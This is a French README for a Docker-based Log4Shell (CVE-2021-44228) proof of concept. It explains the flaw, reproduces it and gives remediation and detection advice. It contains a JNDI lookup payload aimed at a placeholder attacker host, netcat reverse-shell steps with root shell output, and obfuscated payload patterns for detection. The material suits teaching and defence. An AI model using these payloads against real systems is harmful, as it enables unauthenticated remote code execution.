Log4Shell (CVE-2021-44228) Preuve de concept

Objectif

Reproduire, exploiter et corriger une CVE critique connue dans un environnement Dockerisé.

Cette preuve de concept démontre CVE-2021-44228 (Log4Shell) dans une application Spring Boot.

1. Description de la vulnérabilité

CVE : 2021-44228

CVSS : 10.0 (Critique)

Composant affecté : Apache Log4j (<= 2.14.1)

Comment fonctionne le package

• Log4j est une bibliothèque de journalisation Java populaire.
• Elle prend en charge les lookups (${...}) pour résoudre dynamiquement des valeurs dans les messages de journalisation.
• L'un de ces lookups est JNDI, qui peut récupérer des valeurs via LDAP.

Comment fonctionne la vulnérabilité

• L'attaquant empoisonne l'application victime avec une chaîne de lookup JNDI malveillante comme ${jndi:ldap://attacker.com:1389/a}.
• L'application victime avec une version vulnérable de Log4j évalue la chaîne malveillante lors de la journalisation.
• Cela déclenche une requête JNDI vers le serveur LDAP contrôlé par l'attaquant.
• Le serveur LDAP répond avec une référence malveillante à un bytecode Java externe.
• La JVM victime charge le bytecode et l'exécute, menant à une exécution de code à distance (RCE).

Comment fonctionne l'exploit

1. L'application victime journalise une entrée fournie par l'attaquant à partir d'un en-tête HTTP.
2. Le serveur LDAP de l'attaquant répond avec une référence à Exploit.class.
3. La victime récupère Exploit.class via HTTP.
4. L'initialiseur statique dans Exploit s'exécute, générant un reverse shell vers l'attaquant.

2. Risque

• Impact : RCE sans authentification - sévérité la plus élevée possible.

• Qui / quoi est à risque :

  • Toute application Java utilisant Log4j <= 2.14.1.
  • Les services exposés sur Internet et les services internes qui journalisent les entrées contrôlées par l'utilisateur (par exemple, les en-têtes HTTP).

• Conséquences :

  • Compromission du système (accès shell).
  • Exfiltration de données.
  • Pivotement vers les réseaux internes.
  • Contournement des défenses périmétriques (attaques via les services internes).

3. Preuve de concept

Prérequis

1. docker + docker-compose
2. netcat
3. make

Construire et démarrer

make build start

Exploit

1. Démarrer un écouteur netcat :

nc -l 4444

2. Déclencher l'exploit :

make exploit

3. Netcat reçoit un reverse shell de la victime :

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Remédiation

Correctif préféré

• Mettre à niveau vers Log4j 2.17.1 ou version ultérieure.
• C'est le seul correctif complet et à long terme. Les versions antérieures ont été corrigées partiellement mais laissaient encore des expositions :
  • CVE-2021-45046 : RCE via une configuration de journalisation non par défaut
  • CVE-2021-45105 : déni de service via des lookups auto-référentiels
  • CVE-2021-44832 : RCE via certaines configurations d'appender JDBC

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Atténuations temporaires (si la mise à niveau n'est pas possible)

1. Gagner du temps

• Restreindre les chaînes d'exploitation entrantes (modèles ${jndi:) avec un WAF ou un middleware.
• Restreindre le trafic LDAP sortant des serveurs d'application avec un filtrage de sortie.

2. Désactiver les lookups :

-Dlog4j2.formatMsgNoLookups=true

3. Durcir la JVM :

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Atténuations opérationnelles

1. Auditer les dépendances et l'environnement d'exécution

• Générer un SBOM (gradle dependencies, Snyk, Wiz, etc.).
• Rechercher les log4j-core-*.jar dans les images/serveurs déployés, y compris les fat JARs.
• Effectuer le tri et prioriser les mesures d'atténuation pour les charges de travail les plus risquées.

2. Surveiller et détecter

• Surveiller les tentatives d'exploitation dans les journaux (${jndi:...}, ${${lower:j}ndi:...}, etc.).
• Surveiller le trafic LDAP sortant pour détecter des callbacks.
• Traiter les découvertes comme des compromissions potentielles, escalader pour la réponse à incident (investigation forensique, suppression des artefacts malveillants, rotation des secrets, etc.).

3. Correctifs des fournisseurs

• Suivre les avis de sécurité des fournisseurs (par exemple, Elasticsearch) - beaucoup embarquent un Log4j intégré.
• Appliquer les hotfixes ou solutions de contournement fournis jusqu'à ce que des correctifs officiels soient disponibles.

4. Améliorations stratégiques

• Appliquer une politique de refus par défaut pour le filtrage du trafic sortant.
• Imposer l'analyse des dépendances dans le CI/CD.
• Formaliser les playbooks de réponse pour que les équipes sachent exactement quoi faire lors de la prochaine vulnérabilité « 10.0 CVSS ».
• Mener des exercices de résilience / exercices de table pour tester la préparation à un incident de type « nouvelle Log4Shell ».

5. Références

• Avis de sécurité Apache